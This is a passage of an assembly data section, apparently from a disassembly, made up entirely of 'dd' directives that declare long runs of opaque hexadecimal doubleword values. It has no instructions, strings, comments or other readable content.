		dd 8000E99Eh, 63B5E4BBh, 4CD383EEh, 1F001FE6h, 93A86C24h
		dd 41606B03h, 0F94B85Eh, 96AD00FBh, 570858AEh, 1900E799h
		dd 73AA4BC2h, 0EB7D1A7h, 546455BFh, 96636AC0h, 17009D4Dh
		dd 2058921h, 3CE193EBh,	0C100B73Ah, 0D50DA616h,	62072214h
		dd 0ADEA711Dh, 8AD48420h, 9AB200ABh, 0EE6D016Eh, 0BC0430C5h
		dd 0BA0748B3h, 4041B4D2h, 36ED80h, 9A08B9F5h, 1C95D0DBh
		dd 8E572400h, 217AD97Eh, 994E004Dh, 37E09F84h, 90046AB2h
		dd 0BBB62C6h, 3A65BC80h, 2D403B5Dh, 7BA3F900h, 4BD693D4h
		dd 0ADB0FB00h, 1B3D84AFh, 8424E3FFh, 9455287Ch,	157101F0h
		dd 0FA45FCDh, 4EC8D0A5h, 0CC18966Fh, 452610EDh,	0A12880AFh
		dd 8357EF3Fh, 0C43B07E7h, 57887294h, 631EE00Eh,	0E200201Fh
		dd 0B179EB5h, 1426749h,	0BE21FCC6h, 0F199C543h,	844440E5h
		dd 3878747Fh, 0BA487C50h, 5D273D18h, 0AD1F381h,	746F86C0h
		dd 0A1D5164h, 0B382D30h, 7C28F210h, 190E101Ah, 20DBFF12h
		dd 2349379Ch, 441400B7h, 0C5CB2DEAh, 0F901C37Ah, 0B316575Fh
		dd 0DA41C26Dh, 0EACCEC2Ch, 28EE0023h, 1E2D0EBh,	0E100B2E9h
		dd 854D07C9h, 3BAF442Ah, 7680D992h, 0C3F14240h,	3E0701B0h
		dd 0A2B6D165h, 3C00E637h, 73FC706Bh, 0C41D0092h, 9C615BF0h
		dd 0D70016A6h, 0DDD13F06h, 683D7Bh, 0D2F0AE44h,	385A0FD9h
		dd 4F66C14Ch, 8F01B0h, 0A2DEE8F9h, 36311B99h, 3EE36101h
		dd 5032963Bh, 39F4E9D1h, 0BBC8008Dh, 0EED9575Eh, 0EF0F8F7Ah
		dd 83F977A7h, 0E8EDD05Bh, 5561B94h, 0ECE0ACC0h,	0D7AC005Dh
		dd 5C4DA025h, 0D04A0C03h, 0D7C31E2Fh, 361392D0h, 0E0100089h
		dd 0B184118Ch, 0D200803Eh, 500C0EFEh, 0E3A64EAh, 0AF305C71h
		dd 7C203B00h, 898A66Bh,	9E4854F2h, 85B000E8h, 0C11B24BFh
		dd 0F7B8021Dh, 5DB76330h, 0A9004AF4h, 91B16750h, 177568h
		dd 0CD6DE16Bh, 0ABF87705h, 25C23600h, 8A917D3Fh, 0E61003CCh
		dd 987CDAB9h, 0D26EF380h, 5F38CB78h, 0A2BDA6BEh, 0FE5C3B00h
		dd 3E46805h, 76E28477h,	0D8D80DD2h, 70006487h, 5495B8CBh
		dd 2002CDh, 0FCD2E32Bh,	0DD0FBC0Dh, 9D55E900h, 0CED17E63h
		dd 1B3F26FAh, 5A11005Ch, 1AA1F1D9h, 5BAD10C0h, 302940h
		dd 107C9514h, 0F9244F82h, 59CE58h, 73CF88ADh, 90990E70h
		dd 8E930750h, 1596DD7Ah, 404C903Eh, 0F0ED9E6Ah,	5F2CD52Dh
		dd 0B980F8C0h, 8DD396E6h, 824AAAh, 81A4F10Ch, 0D2E8AC61h
		dd 0B53C41C0h, 940EAA2h, 1266CC28h, 0F56A54A0h,	0BE2689AEh
		dd 0E0013CF1h, 2B92871Eh, 2CC6465h, 0BBD100C9h,	717B2D6Ah
		dd 7D004E23h, 5C9D651Dh, 3DEC3CA5h, 29069A84h, 282BC8FDh
		dd 0D1C77500h, 0AE9C6568h, 0D2E900D5h, 0E83E24CAh, 0A15CAC94h
		dd 670F74FCh, 80515348h, 0FE1B96C2h, 9EC8E138h,	59120242h
		dd 0D0D6135Ch, 0A2E460FFh, 7E180271h, 0CA31E229h, 6BDDB080h
		dd 0E80098F0h, 5C26287Ah, 78194FFCh, 2D443920h,	0C5BC54h
		dd 0D7ADA2D3h, 325E39CBh, 19DB7609h, 0EA188596h, 0ED90C0C0h
		dd 3C201DD3h, 60D88E7Bh, 9DD04CB3h, 0F49802F0h,	6DFF6B01h
		dd 5E5F100Ah, 921470h, 9B9BFAAh, 171C273Bh, 1035F51Ch
		dd 759BBA44h, 5F113380h, 43E201DAh, 0BEAEDE03h,	0D97E7092h
		dd 3E703302h, 0E0D6500Dh, 0E2885F1h, 88A15655h,	0E458EBC1h
		dd 0A8909EECh, 22200062h, 0EB890363h, 0FA01BDB5h, 0D70572D1h
		dd 0A3F835E6h, 96040048h, 0B5BC815Ah, 5100855Eh, 798F947Dh
		dd 0F303F1h, 6A74DF08h,	70AF888Ch, 0F211C400h, 0E16D9002h
		dd 460F0E5Dh, 53EDADh, 602684A4h, 0F701A7BBh, 680B47B0h
		dd 5560450Ah, 0DA7F0087h, 462B328Dh, 44008CA3h,	0F68383Ah
		dd 5084D5C0h, 0B8D0943Bh, 135B30ECh, 44781511h,	0DD23D301h
		dd 0BBE5D8A7h, 24E192h,	248D11Dh, 540090A6h, 220ED566h
		dd 0CF444Dh, 2F503704h,	9FDFC8E3h, 421CDD75h, 0EF016DE0h
		dd 0F86CA054h, 0EEC78C8h, 1B7ABADh, 20A2971Eh, 2DD411B4h
		dd 0BA9D6300h, 234DC0Fh, 8CC507D6h, 40F5F8ADh, 1DE2ED57h
		dd 716C4100h, 366A93B9h, 5C870086h, 9663739h, 0C6004F8Bh
		dd 773DCC4Ah, 0B7460Bh,	0A950ACD0h, 3EA34521h, 854AC100h
		dd 0DDF8952Bh, 10721D06h, 84C2016Bh, 0F8417558h, 7B010F74h
		dd 33EEB1FFh, 4CF815FCh, 0EAEC0030h, 0C5245804h, 4400F57Dh
		dd 6DAFBF8Bh, 989B678Ah, 87F10018h, 99B69A3Ch, 0CE01FBD8h
		dd 3336AA03h, 68810122h, 1F37E50Eh, 788CD850h, 93122602h
		dd 44385157h, 0F637F45Ch, 0FA9800F1h, 94BE1F95h, 2A00FC11h
		dd 823039EAh, 0C5BA19h,	738F9E9Fh, 0B3DCAD75h, 89802F00h
		dd 65D664E0h, 98A87EDEh, 71EC014Ch, 0E1D439CCh,	76A8287Fh
		dd 18006B4Eh, 11B0948Eh, 48EC3EDFh, 40AED589h, 0DE44E800h
		dd 0A324B833h, 300057B6h, 750B2A67h, 499F60C1h,	6B6F5114h
		dd 53971A02h, 68A3F5DAh, 394A3674h, 8380A1EAh, 3AED3272h
		dd 490096D7h, 0D3E7B368h, 7AF2FC3h, 9C0F478Eh, 35CA60F4h
		dd 678614Ch, 8876024h, 0C9906D0Ch, 17400062h, 6542156Ah
		dd 3916720Ah, 4006E8Bh,	0CCF809EDh, 68F00E6h, 0C118ACA5h
		dd 2F004189h, 0BECA0252h, 169134E9h, 0E52C88h, 0FE4E3143h
		dd 0DB7B2618h, 4709C05h, 0D400FA74h, 0D1990760h, 0D7D200D3h
		dd 0B09D725Eh, 737F0D5Dh, 0B7C7E500h, 60F802Bh,	3C460027h
		dd 35FBD6BFh, 4B0098EEh, 79261492h, 30992994h, 0F3124CDCh
		dd 0D00AEE7h, 8F0A2521h, 602C4195h, 4672D8E1h, 0A400A606h
		dd 0B9CB592Ah, 76915h, 42985068h, 0AADEF6C4h, 4509D8B0h
		dd 48C774B1h, 3990488h,	9421E19Eh, 0C4C03188h, 2E0041F7h
		dd 4E0A10FDh, 5B5E6EFh,	0E9A31DB2h, 515C01Eh, 6C1F3A95h
		dd 51C0B744h, 0EC5FC4BCh, 9748008Fh, 5B401BD9h,	6E00C874h
		dd 0FF452A2Fh, 0C78395h
		dd 5881BC79h, 0ECF8A4A0h, 0D43980B2h, 641D128Ch, 0FC7A9407h
		dd 48626992h, 13A908ECh, 1ED596h, 34CA44F0h, 7405722Ch
		dd 6766BAC6h, 1120C1EBh, 91CCE883h, 0A3F9080Ch,	7D6582Ah
		dd 479E6253h, 0B07750C1h, 78C04B3Ah, 277C5740h,	0F2280944h
		dd 5CA2BD56h, 9CEB1038h, 9D8BDCC0h, 8E93737h, 66368EDEh
		dd 28215CC8h, 31C4EF2h,	0BC7C673Eh, 25A14F43h, 0AEC4814Ah
		dd 114484BFh, 50F1FA60h, 94AD1853h, 0BF3A0184h,	803C275Ch
		dd 9CA25638h, 0C7E69CEh, 0C15F0EFBh, 0D00B831h,	66FAC5F2h
		dd 0C1B2E5D1h, 3C84AC41h, 0A451C21Bh, 0A5C81C10h, 9DCD990Eh
		dd 0FFFD00BCh, 14B15B49h, 71C94C44h, 9D7BFB07h,	0FC99B005h
		dd 0FD005112h, 155EEFBEh, 7BDC0CCh, 0CEE693E1h,	8012C5E0h
		dd 7D05357Eh, 0DF0089E4h, 2809AAB0h, 1BD4DB5h, 0A96786F8h
		dd 8593EE24h, 707A4688h, 6463D800h, 994C8Bh, 0D5C2517h
		dd 35EBF587h, 78863000h, 7EBA219Ah, 4324C4Ah, 0D0AEA53Dh
		dd 0C926E9h, 1B27854Dh,	50051B1h, 3DC3C1FFh, 0D996B3h
		dd 469B651Ah, 7D2A36C0h, 0BF07777Fh, 0E79C662Ch, 966D1321h
		dd 84FBD4h, 513A5B3Dh, 7ACC21A4h, 3E4F0F1h, 0F2F9C600h
		dd 0E391528Dh, 5B3A051Dh, 0D0165EBEh, 1A7CCBCCh, 349D9000h
		dd 94FF4960h, 99E5269Ah, 9FE9007Ch, 2C702833h, 0C13B7500h
		dd 94ED64C7h, 0B3C92020h, 0EE7E8302h, 0C0539D5Dh, 88AD7F98h
		dd 0A200FC92h, 0BE46FA0Ah, 0F04E43FBh, 29CF0641h, 4095E8F2h
		dd 0AF5DF02h, 232A152h,	9E22BB63h, 73B0D865h, 0B3C80248h
		dd 45977DB2h, 0AB55AC68h, 1A9C8B03h, 0A0B64AFEh, 275A5DF9h
		dd 0B400E2FBh, 7C7BB212h, 4000CB5Ah, 0BE31F068h, 0BB77B98h
		dd 33E40E80h, 42804CA9h, 190973CFh, 8F4C4703h, 0E034D44Ah
		dd 0DCBC42h, 0B8667DC2h, 61186954h, 0EC961C00h,	0FF6C80ACh
		dd 0A6330043h, 0AFC50731h, 127B97BBh, 406F7E00h, 71053D2Ch
		dd 18E3057Fh, 0C1A70208h, 2841A0C0h, 0EE130004h, 822256C9h
		dd 0BF97054Fh, 654DBCh,	61432790h, 1E1ED5Dh, 0C212592Fh
		dd 803C7851h, 63B67BAEh, 5FE212Ah, 0B95B7CA9h, 0EEF440B5h
		dd 938F8173h, 6B440A16h, 0AE4B1843h, 0DA70CF5Ah, 44E76B6h
		dd 0F645BABh, 3B0080B0h, 7A0074E5h, 10685A11h, 0C713F1F8h
		dd 0A3A9E71Eh, 53C7FBA4h, 65C0B453h, 70499674h,	0AC2429D4h
		dd 0BA72CE80h, 3A65DEh,	0FE59060Ch, 1044A2CAh, 0E27D30C9h
		dd 0EB9103B0h, 0CC0EB8ACh, 72022673h, 8E09804Ch, 0B195D27Dh
		dd 355F18F4h, 5658800h,	0D5E98Fh, 233BE21h, 2E392F75h
		dd 0D2CFC900h, 6449D496h, 0C882EE2h, 0EB50BFCh,	0BD5AC080h
		dd 0D024F9Ch, 0F5939B98h, 0E378C02Fh, 3825287Eh, 0E354EAA0h
		dd 340FD8h, 51CFF40Bh, 0E68413Ch, 80D60C00h, 20B38419h
		dd 28780303h, 0ECA0AF36h, 174A4848h, 400A861h, 219C30D7h
		dd 9A420169h, 29C0FAE3h, 0A025D4F8h, 91EE4900h,	95AD1C9Fh
		dd 0A38D175Dh, 0A2A802AAh, 0E904979Eh, 33007B38h, 0ABF8731Fh
		dd 62F9D4Fh, 5424C00Fh,	0C9008E0Ah, 5E473A23h, 9C0DB4h
		dd 0B1772B9Dh, 290C792Eh, 6EF92700h, 0C30A36D1h, 0A5EC1D73h
		dd 12224008h, 0BD06B73Eh, 19C7D500h, 6E603323h,	0F053F5D8h
		dd 0B650E83Dh, 0F2C32D22h, 0DB239880h, 811780B1h, 8C5D7AF9h
		dd 0E6E10B78h, 19B4619Ah, 90F07DCh, 21453661h, 40925020h
		dd 80E127D5h, 977AD811h, 2BBCA7h, 6F232F6Dh, 572F3ADh
		dd 52EEDD00h, 85DBE29Ah, 21CF1722h, 0CB8880AEh,	6F0BB924h
		dd 805BC649h, 0FDBD274Ch, 189F615h, 3367C4E1h, 8E106B8Ch
		dd 37AF30h, 0C6A1FEE9h,	7C7B7DB5h, 11E137F5h, 880990E9h
		dd 4000EDBAh, 7A9E79A4h, 6AD6CDh, 50F58B28h, 0A2F798E8h
		dd 0B75D4600h, 42E9F0Eh, 0BA790130h, 588890DCh,	0A46330FAh
		dd 0C613B800h, 1FD0558Ch, 5E8E00AAh, 0BFD52CA6h, 0C801815Bh
		dd 7BFE581Dh, 24203D4Ah, 0A69148E6h, 0E587C500h, 0D6BED95Dh
		dd 6571430Bh, 0FDC480E4h, 57ABECh, 0AA1642A5h, 438FAF52h
		dd 132ECB7Eh, 101E325Dh, 0F708806Fh, 3CC33F9h, 0E0423561h
		dd 53F0166Eh, 0DB26D807h, 0B6009C37h, 8233466Fh, 290F0293h
		dd 52BFB566h, 0FE89BCFBh, 0A08B89FDh, 54579340h, 4EC018Fh
		dd 4FAD95AEh, 1A59C8DEh, 0C8355Ch, 53DD3866h, 643D4Eh
		dd 0DA0E6157h, 0C812AB0h, 0FC5F0400h, 0D7B339FBh, 42DF00D1h
		dd 624D967h, 0F40E889Eh, 40CF436Bh, 0D80FA99Fh,	38DC3D37h
		dd 0BE8081B8h, 4533EEEBh, 0E900B2D9h, 1F2FA873h, 5626DAh
		dd 0D392DC14h, 945B89C8h, 76EBCA02h, 0A090835Dh, 48BDD2F4h
		dd 9CAA0B10h, 70658C42h, 5BC261D0h, 5F280B9Eh, 3490709Ch
		dd 0C8B8945Ch, 1A4407EFh, 0B090DBF2h, 5D16223Ah, 88C6D515h
		dd 5C0D0008h, 0BEA58B53h, 0A7039052h, 564CB524h, 0D0CBD511h
		dd 38748708h, 0F8BAC24h, 7A48718h, 0F3452110h, 2DC014D4h
		dd 9B8E8C06h, 41817C60h, 0B60FDB8Ch, 205745BEh,	0F21C442Bh
		dd 4234945Ah, 0AB115CBCh, 9CE3F700h, 56E08485h,	74F280BDh
		dd 3F0024B5h, 0E7121429h, 66CAB3h, 0AD792064h, 5BE440C1h
		dd 0BA927606h, 2E4C43C8h, 102A9Bh, 0BFEF1E41h, 7D306246h
		dd 67EABC68h, 0D3A8035Ch, 0ECBE2ECDh, 0D1221988h, 23C4C00h
		dd 23A31FEFh, 0F9C701AFh, 0C660B9F4h, 8411F48Eh, 0D2B55500h
		dd 0FDAF59F6h, 1D24009Eh, 23E68091h, 940048DDh,	1EE202E1h
		dd 0CAD90Bh, 86AAE8CDh,	7DDCF17h, 47ECDA0Fh, 0C38D6070h
		dd 5F81F9h, 92601390h, 0FC1DF551h, 0F484C100h, 5AFEC8AAh
		dd 406C0093h, 0BABF9995h, 0B86F3ADDh, 0AC58EA18h, 98903312h
		dd 67CB89h, 2C48F190h, 48811CDh, 0F9BA7B12h, 0D7132447h
		dd 601BA941h, 20911180h, 0D3E92BFEh, 0F1FF9C19h, 21806509h
		dd 6FE28B1h, 461DDC96h,	0D6C0C12Ah, 0B9B7DE3Fh,	118F06CAh
		dd 0A0837040h, 10478DA0h, 925F5D07h, 64301A56h,	304E128Ch
		dd 0CEB89E6Bh, 48102EB8h, 7800B999h, 0FA7BEB2h,	5C185FB5h
		dd 0E2087D1Bh, 0D920C0B8h, 0D4C2BEADh, 73A57A07h, 63666C9Dh
		dd 33860070h, 619E0D31h, 800274Bh, 263A7C66h, 0D8969Ah
		dd 342E462h, 32BCEB74h,	6B23CB00h, 0F49FDE7Ch, 0B87F0051h
		dd 9BC03F1Dh, 0E3706166h, 5AD97900h, 78A96075h,	0FBD6004Eh
		dd 48463FFCh, 3579C38Fh, 0C981B700h, 0F8FA670Ch, 0EE300B8h
		dd 245946E0h, 3800EA12h, 0E84323DFh, 3E7761F1h,	0FF833B06h
		dd 47623E16h, 0F69A0200h, 1C8FA9DBh, 31C00055h,	0A14EA735h
		dd 7602D67Dh, 2BED142Eh, 509640C4h, 62DB0070h, 6E34A10Eh
		dd 9707EA7Ah, 8EE795E2h, 89FAA720h, 8FA80370h, 1520F5BCh
		dd 685CC0F0h, 0E5470B09h, 4E1E0045h, 0E875F8h, 0B6BEE479h
		dd 97EC280h, 9AF40500h,	916ADF8Ch, 2F070346h, 0A16DCB94h
		dd 0AFE7407h, 0D792AB5Ch, 0BDC2602Bh, 0C2573CFFh, 311FA600h
		dd 879A9625h, 556CF00h,	0B88392AAh, 15B91C68h, 0C0A75826h
		dd 0C62E7F11h, 75039895h, 0D09282B8h, 5700464h,	0A009C9EAh
		dd 8F53809Dh, 0A00416Fh, 6D5BF90h, 370C01Fh, 0A13F591Dh
		dd 74C9677Ch, 4F598192h, 0B39F2669h, 7337E5F8h,	5F830018h
		dd 9E1A4822h, 910B4CECh, 8C12CBCh, 803DF87Dh, 0FEC45D1Dh
		dd 0C01630D5h, 26731E48h, 340B68F0h, 0DB32C38h,	0E7FC30A3h
		dd 0FD7512h, 0B080B9F5h, 56DAA0D9h, 0A6015B7Eh,	8DCD73ABh
		dd 9DC03AFBh, 84D30028h
		dd 0D936F843h, 7051FCFh, 0C3E7F557h, 3F4EFC40h,	0C78AABh
		dd 0BDA296D6h, 4654ED40h, 7EA9E900h, 0F7EBB285h, 0F1300775h
		dd 20E3B9AEh, 0EC1E80E2h, 0F54418C0h, 0E6D4F097h, 3D43007Fh
		dd 0CABFF410h, 640FE60Dh, 6085E8DBh, 8BBAEF40h,	317E001Bh
		dd 805551DAh, 8E003AD1h, 5CF3DCA9h, 7FA42343h, 50CC00B2h
		dd 711E4D3Dh, 0C8021C0Ah, 1B531ABh, 0FAFBE09Bh,	0F5F9033Ch
		dd 0CBA9265Fh, 205B8289h, 1C283B1Fh, 0F5909866h, 0D68F2000h
		dd 97BD7AA5h, 0E7EC0371h, 0EB70693Ch, 0B3619AE0h, 21B15B00h
		dd 0C4D5D022h, 0B22D006Eh, 8B80104Ch, 2C001506h, 9B618829h
		dd 0E44BECh, 0EB428495h, 0C997988Ch, 86E05B04h,	6C87AC1Ch
		dd 0C081DBD2h, 697408h,	8EE383A8h, 8A3EFEEDh, 0A09FEE00h
		dd 1706F78Ch, 90AD3DD1h, 0A598993Ch, 5BF6B9B8h,	0D7612000h
		dd 22296849h, 55060021h, 0A034CAF5h, 0F21833A9h, 357059E9h
		dd 0D7ED01C0h, 196549FFh, 9203E0DEh, 81B9913Dh,	0C6731D30h
		dd 48D6CBFCh, 11761F30h, 21CC0719h, 0FEDE00A8h,	255D3917h
		dd 0A603B2F6h, 6FEEAC0Eh, 0A7DFB0A0h, 62630006h, 0B6D84D19h
		dd 241D818Fh, 7002B856h, 86CD74D6h, 686C87h, 12ED0BEh
		dd 217598A3h, 0D91F0E14h, 663007B1h, 1CC0B072h,	2E5024E6h
		dd 0E0E94Ah, 268D1AD4h,	33006F03h, 0B07571D1h, 516CB80h
		dd 0E477FF93h, 5AA00098h, 8E3D8632h, 0E6828550h, 6D1BB802h
		dd 4104B030h, 5CC49A40h, 0CD7B00F7h, 0A292C8EEh, 60514E1h
		dd 70F3DA74h, 5A6C75C0h, 64DE0081h, 8F27B947h, 36004F4Dh
		dd 3AE573Bh, 16C49FAh, 80F5E6DCh, 50BFDF96h, 6416A898h
		dd 6B74F200h, 920DD3C7h, 0DB53034Ah, 66B08EECh,	0ED03DA3h
		dd 51078A5Ah, 0DF6D0F14h, 7F7D5300h, 26B50142h,	5A86B198h
		dd 90D2E85Dh, 0FBD5CE07h, 80EE1477h, 0C96E6CB7h, 0D8FF0008h
		dd 214C3484h, 9B0769F9h, 463C7F56h, 496DF000h, 0E8AF0989h
		dd 2420AB2Ah, 0F16316A3h, 549E7358h, 810060F8h,	884D6640h
		dd 743FD9DAh, 2421F483h, 28197Eh, 0EAE83D45h, 4D0C0F47h
		dd 1826409Bh, 0AE9706CEh, 609AA0C0h, 9FEBC339h,	0F4C0FE45h
		dd 0FF6EC510h, 6AB51F48h, 84B80012h, 33B3869h, 9288A800h
		dd 7F6F44BCh, 0DF171EF9h, 96ACC0E0h, 80169594h,	3A6ABE00h
		dd 0ED884744h, 0C138003Ch, 30B39A34h, 66000F1Fh, 0F993106Dh
		dd 9F1DC59h, 0DB682764h, 0B86AB400h, 3B016FD4h,	5790EA08h
		dd 0C5F46C66h, 55BF2463h, 0FE803B1Ch, 1E7211FAh, 3400F4B7h
		dd 6C46284Ah, 345F87Fh,	20B6E289h, 8BE890CBh, 4700726Bh
		dd 0E988C0B8h, 9F22FCEh, 1D976140h, 0A0C93B80h,	487BF370h
		dd 0E58758h, 6E25B03Dh,	2426A1D2h, 267045E7h, 0C29100CFh
		dd 0A90D1153h, 36C52200h, 1E8118C9h, 0A4CA50C1h, 44724B0h
		dd 365A80D0h, 39F674BEh, 0BCAB501h, 0A3F8BBE2h,	7250DCD8h
		dd 631400ECh, 97776248h, 0AF018C0Dh, 40569FE0h,	28C0F3A4h
		dd 20C06093h, 1DCC3B27h, 0BC24B800h, 0F0204EFCh, 1FC60772h
		dd 601E6822h, 415BDADBh, 21EC7400h, 0D30595A0h,	0E1500728h
		dd 80E81664h, 9836AE9Bh, 1691D3Ah, 2572045Dh, 92208A12h
		dd 0D5E90051h, 0B8916399h, 953D80EBh, 74C8092h,	0B4A2DDB0h
		dd 9BB0050h, 0E5AA6B7Ah, 171F246Fh, 824029F7h, 0B63FBC26h
		dd 2C50B8D5h, 3F04225Ch, 0E9A1D300h, 1F979F7Ch,	6E7E9092h
		dd 0BB912D00h, 7F3A8861h, 834000CFh, 90C6CAD6h,	8100BA1Dh
		dd 0F9E50876h, 7A67C1Bh, 0E1010F1Eh, 0BEEB2223h, 800284C1h
		dd 2443D910h, 0EA3A7BDh, 0F1B9CB4Eh, 35D8FAA0h,	5807F7ACh
		dd 0F29DE40Bh, 0B92736A0h, 86840061h, 56D0CE2Fh, 0AD01BF5Fh
		dd 0FF2868E2h, 1E70ED3Ch, 801900C7h, 0F38BA2E0h, 9800F23Dh
		dd 3272952Ah, 0C1FE64B3h, 0CA79A360h, 0AE718031h, 0ACBC1FB6h
		dd 0B01E0D5Eh, 21184BCEh, 0C2C1F3C1h, 2011B0A4h, 58FC9BA6h
		dd 6F001410h, 26BAA203h, 0A9012311h, 71571E56h,	29F84EA6h
		dd 147A1887h, 95026930h, 1578A500h, 5F51310Fh, 7C1A003Ah
		dd 0BAE725ECh, 71001834h, 2EAFFA9Fh, 372DFCF4h,	0A0B0D4BEh
		dd 4C87196Fh, 284E693Eh, 57000CBBh, 9C7BA66Eh, 98D2CF11h
		dd 0E3751E46h, 1302402Ch, 0BDA02FEEh, 4A55DB0Fh, 61D383B1h
		dd 4FD983Eh, 0DEF13CB4h, 0FC459400h, 23D0B606h,	792F7D00h
		dd 5B0A90E3h, 0C5B20007h, 0F087CB22h, 0BF012401h, 30E8D359h
		dd 0EE202C73h, 346B00E4h, 0FB172E8Ah, 642CD49Bh, 57031329h
		dd 0E0A8B2F8h, 0EFF10C7h, 0D42DFBB3h, 0A0051E40h, 0CA0320DCh
		dd 6BD2DAE9h, 7800BF83h, 5975BFEh, 74C9393Eh, 8CA005A1h
		dd 82AB8018h, 2400A3EDh, 92F03FF3h, 804B62h, 5EDCD2C2h
		dd 0FF90A8B3h, 48E74703h, 17237ABh, 0EF05B964h,	0C0131292h
		dd 0A13D6408h, 0E4D4804Bh, 3539C4CDh, 18880358h, 5FD5F230h
		dd 93F9A4B8h, 0EBF85200h, 0F714DEEAh, 0B974000Dh, 3E08CA73h
		dd 7AE82CE0h, 0C3CA8D60h, 7035745h, 7229CB9h, 6F0EF094h
		dd 2D7993EEh, 0B50012B8h, 4DB746ADh, 1E33FE35h,	0C06CF68Ah
		dd 7966B189h, 0B40C039Eh, 0E0E821A2h, 8F7A0096h, 4AD62967h
		dd 15014160h, 0D548CBEh, 49CCBA57h, 0B8BD00CFh,	0B21F427h
		dd 0C1006E83h, 34B9A424h, 0AA74A6h, 0A8879D4Bh,	3F182D4Ch
		dd 0A90081FAh, 0EC758B4Eh, 1EBA58BDh, 4FCA042Bh, 5158D198h
		dd 0A7E6B2F2h, 803DA00Eh, 9C8CA3EDh, 18C7C010h,	1A49007Ah
		dd 0B203C1Bh, 0AE00C534h, 828ABFA9h, 0D975ECh, 96CC14D2h
		dd 7FB54DFBh, 361DB007h, 20E050BCh, 1A56C71h, 7957C01Eh
		dd 20FBC225h, 1100E0D0h, 0F9B89397h, 5C6553h, 0E3BE6D6Bh
		dd 0FE03AB4Eh, 34D08212h, 0B88AAC40h, 1E2F7832h, 784B8BC4h
		dd 0F5DC507Eh, 0A9FF00C7h, 0DDD43B2h, 0B43DB120h, 686600C5h
		dd 0AD54A359h, 0E0E50B32h, 2D060E61h, 0ED00F8F6h, 5DDBC9B7h
		dd 1EE7D8B2h, 0BC2D7708h, 86670A80h, 361A359Bh,	0B149CB01h
		dd 617FB473h, 782C81D0h, 0AD1003E4h, 0DC8D31C6h, 0C098C10Eh
		dd 60C10C33h, 0D1C70E5Dh, 15E0A9C6h, 171F146Dh,	0DDAF3B00h
		dd 8B612145h, 0F472009Fh, 0EBCC2B43h, 0F01D2A60h, 640DE89h
		dd 0E4619CA7h, 0A64D00D4h, 0EB8B5B3Bh, 0BA00170Dh, 6D101C9Eh
		dd 3E92472h, 0CC49DEFh,	0A003F77Dh, 3661D0FBh, 0AB8800B0h
		dd 4FA8E68Dh, 0B9A0170Bh, 6330879Ah, 0C7E24014h, 0C4270550h
		dd 5F7DA2h, 375940D3h, 0C80A17A5h, 0C41AA1D5h, 0EED6F640h
		dd 63F912CCh, 0B59800D0h, 349BE549h, 590043EAh,	81C3EB8h
		dd 1894E2h, 61151BE8h, 0F533092Bh, 2940C100h, 0A7965A95h
		dd 0DA760042h, 4FAA16DCh, 2C07B559h, 29379BF2h,	93400A91h
		dd 4314AC40h, 53B900D9h, 0FFD1971Dh, 0D33ADADCh, 0A3520013h
		dd 0B3A9597Ch, 515507AFh, 100F2E83h, 0FAA8B1B6h, 2C715B03h
		dd 0C87789C7h, 96D6DCh,	2F85C641h, 7BB02111h, 0B28E1400h
		dd 56EE50CBh, 8BB32479h, 0FA26BC54h, 15A5010h, 4CAEC605h
		dd 0D2007770h, 57542CB2h, 7A1A1E64h, 0D40283F0h, 0DC855E9h
		dd 0E067DE5h, 9BCEDA3Eh, 0D8E66F2Eh, 0C5322520h, 2D148CB7h
		dd 1DD8A8F2h, 0A5408F6Fh, 9336E9EEh, 614B24BEh,	0A30D8E80h
		dd 7F28C86Ch, 96E9681Fh, 79D4A6D4h, 435D120h, 0D8E43370h
		dd 224C904Eh, 0BA050631h, 0D734FF8Ah, 0A4B5B846h, 73DF421h
		dd 183CA8D1h, 2E91F028h, 2607C729h, 0BE8BD9Ah, 45FAAD30h
		dd 3DA200EDh, 0A8494BDAh
		dd 3C39DB84h, 0F644809Eh, 0B2323E66h, 0BD080054h, 0FB7F697Dh
		dd 0CD00E0A1h, 0A8928E98h, 9080592Bh, 5F7C0087h, 0BE45A9E1h
		dd 0E61D3F58h, 11876301h, 0DDF0DA0Ah, 3EBC866h,	4F6F591Fh
		dd 0FFE0D45Fh, 0EF282028h, 5C00A5E4h, 6D99D44h,	0ECE2AC65h
		dd 38B80096h, 8FC23176h, 0A900C44Bh, 0FAD56D52h, 1C3B95h
		dd 74A42134h, 433779EEh, 5CF67B00h, 961AF186h, 141F3A92h
		dd 0A0DC098Fh, 695BB7A0h, 0F9006A7Ah, 8EE55D03h, 5525CCh
		dd 1D2288C5h, 0E89E44C3h, 0A62C6C00h, 0F5637612h, 0D898A0EAh
		dd 7D721EB7h, 0D9AF00B3h, 44F643D0h, 94755000h,	1A426C87h
		dd 274100EFh, 29109AA9h, 900004F2h, 971C20ECh, 763D5B89h
		dd 472E003Fh, 1BCCACCAh, 9D0A1494h, 88039B92h, 0B966A600h
		dd 3D8EF235h, 77008423h, 516F0DF4h, 16017163h, 43066C52h
		dd 420D568h, 120B00ACh,	88F92FE4h, 0A260E727h, 7C72C9B0h
		dd 1ED3BB2h, 85998C00h,	1F20FD48h, 980EA48h, 7651D32h
		dd 46C0B55Eh, 1F84AA7Bh, 2408DF01h, 0CEB1004Ch,	0A437B48Fh
		dd 91806E00h, 7088BB9Bh, 64B853h, 6DCCD1D6h, 0F428C062h
		dd 0EC41DF30h, 13F59CBAh, 400C12BEh, 4B596138h,	0BC52FE8Ch
		dd 0CCDD04A4h, 9CD07B47h, 30EB300Fh, 2F119BA7h,	0DD01CE90h
		dd 5D08572Ah, 2CCCB5E4h, 0D0C90069h, 875F3960h,	0F2042A45h
		dd 71BEB6D2h, 74BD1080h, 0B57CFBh, 0A2DF621Fh, 8FEF4286h
		dd 68060890h, 0ECC2F07Fh, 6F9038h, 7C779720h, 2F695828h
		dd 8B33C706h, 1029DAh, 0AF5BF896h, 0A3484142h, 0C3002870h
		dd 50C25E27h, 1EF8164h,	0BA5BF43Ah, 0EA305965h,	0B4A43440h
		dd 8349A803h, 800FAF9Ch, 0E53A514h, 306DFE3h, 7D603DCFh
		dd 1D71BC22h, 0E711580Eh, 77C420E2h, 91C80876h,	0F9569D38h
		dd 8FB8F61Ch, 77701EBh,	0C06DF9A0h, 0DB30C7B0h,	0F282C900h
		dd 206B915Dh, 44F307DDh, 0B1316E55h, 0CCE2D4C8h, 0FB00F125h
		dd 0D1094B0h, 99C602h, 303A68A1h, 41FE47C5h, 2E1620EFh
		dd 5BC41200h, 5F2A0877h, 0EB3612A3h, 54F4216Ch,	8058301Ch
		dd 16FDA21Ch, 3D29B380h, 58BA6878h, 0AB0F549Bh,	0C9DE1B4Dh
